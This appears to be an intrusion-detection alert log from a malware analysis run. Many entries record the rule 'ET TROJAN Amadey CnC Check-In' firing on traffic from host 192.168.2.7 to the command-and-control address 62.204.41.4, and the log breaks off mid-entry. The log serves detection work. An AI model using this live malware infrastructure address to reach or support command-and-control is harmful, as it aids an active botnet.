Timestamp:	192.168.2.762.204.41.450326802027700 02/06/23-18:38:39.035983
SID:	2027700
Source Port:	50326
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449768802027700 02/06/23-18:36:08.295559
SID:	2027700
Source Port:	49768
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449875802027700 02/06/23-18:36:36.759662
SID:	2027700
Source Port:	49875
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450142802027700 02/06/23-18:37:51.625961
SID:	2027700
Source Port:	50142
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450320802027700 02/06/23-18:38:37.801532
SID:	2027700
Source Port:	50320
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449786802027700 02/06/23-18:36:12.426489
SID:	2027700
Source Port:	49786
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450231802027700 02/06/23-18:38:14.609316
SID:	2027700
Source Port:	50231
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450308802027700 02/06/23-18:38:34.900026
SID:	2027700
Source Port:	50308
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450160802027700 02/06/23-18:37:55.923634
SID:	2027700
Source Port:	50160
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449992802027700 02/06/23-18:37:10.200128
SID:	2027700
Source Port:	49992
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450053802027700 02/06/23-18:37:27.528345
SID:	2027700
Source Port:	50053
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449829802027700 02/06/23-18:36:24.582432
SID:	2027700
Source Port:	49829
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450219802027700 02/06/23-18:38:11.691917
SID:	2027700
Source Port:	50219
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450071802027700 02/06/23-18:37:33.042572
SID:	2027700
Source Port:	50071
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449918802027700 02/06/23-18:36:50.149978
SID:	2027700
Source Port:	49918
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449930802027700 02/06/23-18:36:55.312009
SID:	2027700
Source Port:	49930
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450059802027700 02/06/23-18:37:28.737026
SID:	2027700
Source Port:	50059
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450237802027700 02/06/23-18:38:16.048099
SID:	2027700
Source Port:	50237
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449841802027700 02/06/23-18:36:27.522197
SID:	2027700
Source Port:	49841
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450148802027700 02/06/23-18:37:53.070956
SID:	2027700
Source Port:	50148
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450025802027700 02/06/23-18:37:20.761388
SID:	2027700
Source Port:	50025
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449974802027700 02/06/23-18:37:05.733543
SID:	2027700
Source Port:	49974
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450310802027700 02/06/23-18:38:35.397050
SID:	2027700
Source Port:	50310
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450221802027700 02/06/23-18:38:12.187048
SID:	2027700
Source Port:	50221
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449885802027700 02/06/23-18:36:39.224150
SID:	2027700
Source Port:	49885
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450203802027700 02/06/23-18:38:06.492874
SID:	2027700
Source Port:	50203
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449796802027700 02/06/23-18:36:14.772959
SID:	2027700
Source Port:	49796
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450114802027700 02/06/23-18:37:43.360834
SID:	2027700
Source Port:	50114
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450091802027700 02/06/23-18:37:37.888527
SID:	2027700
Source Port:	50091
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450043802027700 02/06/23-18:37:25.122543
SID:	2027700
Source Port:	50043
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449946802027700 02/06/23-18:36:58.902146
SID:	2027700
Source Port:	49946
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450132802027700 02/06/23-18:37:47.847648
SID:	2027700
Source Port:	50132
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449857802027700 02/06/23-18:36:31.085635
SID:	2027700
Source Port:	49857
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450002802027700 02/06/23-18:37:14.985690
SID:	2027700
Source Port:	50002
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450209802027700 02/06/23-18:38:09.315255
SID:	2027700
Source Port:	50209
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449987802027700 02/06/23-18:37:08.994236
SID:	2027700
Source Port:	49987
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450104802027700 02/06/23-18:37:40.952667
SID:	2027700
Source Port:	50104
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450101802027700 02/06/23-18:37:40.235234
SID:	2027700
Source Port:	50101
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449831802027700 02/06/23-18:36:25.110774
SID:	2027700
Source Port:	49831
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449834802027700 02/06/23-18:36:25.833187
SID:	2027700
Source Port:	49834
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450012802027700 02/06/23-18:37:17.535420
SID:	2027700
Source Port:	50012
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450015802027700 02/06/23-18:37:18.281532
SID:	2027700
Source Port:	50015
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450364802027700 02/06/23-18:38:50.253164
SID:	2027700
Source Port:	50364
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449923802027700 02/06/23-18:36:51.342928
SID:	2027700
Source Port:	49923
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449742802027700 02/06/23-18:36:01.986509
SID:	2027700
Source Port:	49742
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450272802027700 02/06/23-18:38:24.734925
SID:	2027700
Source Port:	50272
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450349802027700 02/06/23-18:38:46.552442
SID:	2027700
Source Port:	50349
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450361802027700 02/06/23-18:38:49.540296
SID:	2027700
Source Port:	50361
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449745802027700 02/06/23-18:36:02.707219
SID:	2027700
Source Port:	49745
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450094802027700 02/06/23-18:37:38.590484
SID:	2027700
Source Port:	50094
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450097802027700 02/06/23-18:37:39.294548
SID:	2027700
Source Port:	50097
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450186802027700 02/06/23-18:38:02.145296
SID:	2027700
Source Port:	50186
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450183802027700 02/06/23-18:38:01.423474
SID:	2027700
Source Port:	50183
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449803802027700 02/06/23-18:36:18.277310
SID:	2027700
Source Port:	49803
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449770802027700 02/06/23-18:36:08.800628
SID:	2027700
Source Port:	49770
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450275802027700 02/06/23-18:38:26.060580
SID:	2027700
Source Port:	50275
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449758802027700 02/06/23-18:36:05.847456
SID:	2027700
Source Port:	49758
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449977802027700 02/06/23-18:37:06.464355
SID:	2027700
Source Port:	49977
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450028802027700 02/06/23-18:37:21.493237
SID:	2027700
Source Port:	50028
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450158802027700 02/06/23-18:37:55.451859
SID:	2027700
Source Port:	50158
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450117802027700 02/06/23-18:37:44.099592
SID:	2027700
Source Port:	50117
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450336802027700 02/06/23-18:38:41.486984
SID:	2027700
Source Port:	50336
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450288802027700 02/06/23-18:38:30.033697
SID:	2027700
Source Port:	50288
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450247802027700 02/06/23-18:38:18.501382
SID:	2027700
Source Port:	50247
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450206802027700 02/06/23-18:38:07.828165
SID:	2027700
Source Port:	50206
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449936802027700 02/06/23-18:36:56.541076
SID:	2027700
Source Port:	49936
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449806802027700 02/06/23-18:36:19.040858
SID:	2027700
Source Port:	49806
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449847802027700 02/06/23-18:36:28.712473
SID:	2027700
Source Port:	49847
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449888802027700 02/06/23-18:36:39.931255
SID:	2027700
Source Port:	49888
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449799802027700 02/06/23-18:36:15.767938
SID:	2027700
Source Port:	49799
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450170802027700 02/06/23-18:37:58.303705
SID:	2027700
Source Port:	50170
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449819802027700 02/06/23-18:36:22.168382
SID:	2027700
Source Port:	49819
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449908802027700 02/06/23-18:36:47.759181
SID:	2027700
Source Port:	49908
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450040802027700 02/06/23-18:37:24.355270
SID:	2027700
Source Port:	50040
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449949802027700 02/06/23-18:36:59.621008
SID:	2027700
Source Port:	49949
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450081802027700 02/06/23-18:37:35.445260
SID:	2027700
Source Port:	50081
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449783802027700 02/06/23-18:36:11.707389
SID:	2027700
Source Port:	49783
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450069802027700 02/06/23-18:37:32.561894
SID:	2027700
Source Port:	50069
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449920802027700 02/06/23-18:36:50.617008
SID:	2027700
Source Port:	49920
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450199802027700 02/06/23-18:38:05.327038
SID:	2027700
Source Port:	50199
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450314802027700 02/06/23-18:38:36.369028
SID:	2027700
Source Port:	50314
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450118802027700 02/06/23-18:37:44.342002
SID:	2027700
Source Port:	50118
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450216802027700 02/06/23-18:38:10.984165
SID:	2027700
Source Port:	50216
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449924802027700 02/06/23-18:36:51.587444
SID:	2027700
Source Port:	49924
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450252802027700 02/06/23-18:38:19.689919
SID:	2027700
Source Port:	50252
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449731802027700 02/06/23-18:35:58.287698
SID:	2027700
Source Port:	49731
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449985802027700 02/06/23-18:37:08.510192
SID:	2027700
Source Port:	49985
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450350802027700 02/06/23-18:38:46.836121
SID:	2027700
Source Port:	50350
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450154802027700 02/06/23-18:37:54.498607
SID:	2027700
Source Port:	50154
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449789802027700 02/06/23-18:36:13.130119
SID:	2027700
Source Port:	49789
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449887802027700 02/06/23-18:36:39.694821
SID:	2027700
Source Port:	49887
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450249802027700 02/06/23-18:38:18.972466
SID:	2027700
Source Port:	50249
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450347802027700 02/06/23-18:38:46.051189
SID:	2027700
Source Port:	50347
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450056802027700 02/06/23-18:37:28.014710
SID:	2027700
Source Port:	50056
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449728802027700 02/06/23-18:35:57.036982
SID:	2027700
Source Port:	49728
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449980802027700 02/06/23-18:37:07.211466
SID:	2027700
Source Port:	49980
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449826802027700 02/06/23-18:36:23.882734
SID:	2027700
Source Port:	49826
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449882802027700 02/06/23-18:36:38.444359
SID:	2027700
Source Port:	49882
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449916802027700 02/06/23-18:36:49.663085
SID:	2027700
Source Port:	49916
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450089802027700 02/06/23-18:37:37.423384
SID:	2027700
Source Port:	50089
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450244802027700 02/06/23-18:38:17.760140
SID:	2027700
Source Port:	50244
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449821802027700 02/06/23-18:36:22.668125
SID:	2027700
Source Port:	49821
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449879802027700 02/06/23-18:36:37.726488
SID:	2027700
Source Port:	49879
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449957802027700 02/06/23-18:37:01.557192
SID:	2027700
Source Port:	49957
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450031802027700 02/06/23-18:37:22.219104
SID:	2027700
Source Port:	50031
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449862802027700 02/06/23-18:36:32.276209
SID:	2027700
Source Port:	49862
Destination Port:	80
Protocol:	TCP
